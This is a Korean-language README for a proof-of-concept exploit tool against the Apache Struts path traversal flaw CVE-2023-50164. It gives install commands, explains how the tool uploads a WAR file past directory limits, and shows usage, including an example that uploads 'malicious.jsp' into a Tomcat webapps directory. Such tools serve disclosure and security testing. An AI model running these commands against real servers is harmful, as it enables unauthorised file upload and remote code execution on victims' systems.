
Apache Struts의 경로 탐색("CVE-2023-50164")에 대한 개념 증명
설치
이 도구를 설치하려면 Go 버전 1.20 이상이 설치되고 구성되어 있어야 합니다.
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
또는 직접 컴파일할 수도 있습니다: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
작동 방식
이 도구는 익스플로잇을 실행하기 위해 일련의 단계를 거쳐 작동합니다.
예를 들어 /path/to/file-you-want-to-upload.txt 파일을 업로드하려면 도구는 다음과 같이 진행됩니다:
지정된 파일을 WAR 파일로 압축하여 file-you-want-to-upload.war를 생성한 다음,
OS별 임시 디렉터리에 저장합니다. 따라서 도구는 서블릿 컨텍스트 파일 경로가
/file-you-want-to-upload/file-you-want-to-upload.txt라고 가정합니다.
서블릿 컨텍스트 파일 경로가 이미 존재하는지 확인합니다. 이미 존재한다면 도구는 즉시 오류를 반환합니다.
도구는 파일 업로드 매개변수를 조작하여 WAR 파일 업로드를 시도합니다.
이후에는 서블릿 컨텍스트 파일 경로의 사용 가능 여부(상태 코드 200)를 다시 확인하여, 파일 업로드 성공을 나타냅니다.
사용법
$ cve-2023-50164-poc -h
PoC for CVE-2023-50164
--
coded by @dwisiswant0
Usage:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
Options:
-u, --url <URL> Specify the upload endpoint URL
-f, --file <FILE> Provide the payload file for uploading
-t, --traverse-seq <N> Generate traversal sequences N times (default: "0")
-p, --path <PATH> Specify the path to the accessible root directory
-w, -win, --windows Converts slash ("/") chars to Windows separator ("\")
Example:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
참고
jar 바이너리가 시스템의 $PATH에 있어야 합니다.
대상 경로는 접근 가능한 루트 경로여야 합니다. 예: Jetty의 경우 /var/lib/jetty/webapps,
Apache Tomcat의 경우 /opt/tomcat/webapps.
기본 트래버설 시퀀스는 0("0")입니다. -p/--path 플래그 값에 대해 트래버설
시퀀스를 수동으로 입력할 수 있습니다. 예: /../webapps 또는 /../../opt/tomcat/webapps. 트래버설 시퀀스는
서블릿마다 다릅니다.
-w/-win/--windows 플래그는 서블릿이 Windows 서버에서 실행될 때만 사용됩니다.
면책 조항
상호 동의 없이 이 도구를 사용하여 대상을 공격하는 것은 불법입니다. 사용자는 지역, 주, 그리고 연방 법률을 준수해야 합니다. 개발자("dwisiswant0"/"Dwi Siswanto")는 이 도구의 잘못된 사용으로 인한 어떠한 손해에도 책임을 지지 않습니다.
라이선스
이 도구는 WTFPL v2(DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE)에 따라 라이선스가 부여됩니다. COPYING을 참조하세요.